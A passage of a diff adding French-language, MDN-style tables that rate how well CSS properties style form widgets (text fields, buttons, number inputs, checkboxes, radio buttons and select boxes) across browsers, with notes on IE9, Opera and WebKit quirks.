+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td>Voir la note à propos de Opera</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 prend en charge cette propriété uniquement sur les éléments {{HTMLElement("textarea")}}, alors que Opera ne la prend en charge que sur les champs texte sur une ligne.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser<code> -webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser<code> -webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li>
+     <li>Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Boutons">Boutons</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>Voir la note à propos de {{cssxref("line-height")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Widget_number">Widget <code>number</code></h3>
+
+<p>Sur les navigateurs qui implémentent le widget <code>number</code>, il n'y a pas de méthode standard pour changer le style des roulettes utilisées pour changer la valeur du champ. Il est à noter que les roulettes de Safari sont en dehors du champ.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>Voir la note à propos de {{cssxref("line-height")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière‑plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td colspan="1" rowspan="3">
+    <p>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Cases_à_cocher_et_boutons_radio">Cases à cocher et boutons radio</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Boîtes_à_sélection_(ligne_unique)">Boîtes à sélection (ligne unique)</h3>
+
+<p>Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément {{HTMLElement("select")}}.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Cette propriété est correcte sur l'élément {{HTMLElement("select")}}, mais cela peut ne pas être le cas sur les éléments {{HTMLElement("option")}} ou {{HTMLElement("optgroup")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[2]</sup></td>
+   <td>
+    <ol>
+     <li>La propriété est appliquée, mais de manière incohérente entre navigateurs sous Mac OSX.</li>
+     <li>La propriété est bien appliquée sur l'élément {{HTMLElement("select")}}, mais est traitée de manière incohérente sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété pour ce widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Seul Firefox fournit une prise en charge totale de cette propriété. Opera ne la prend pas du tout en charge et d'autres navigateur ne le font que pour l'élément  {{HTMLElement("select")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td>
+    <ol>
+     <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td>
+    <ol>
+     <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
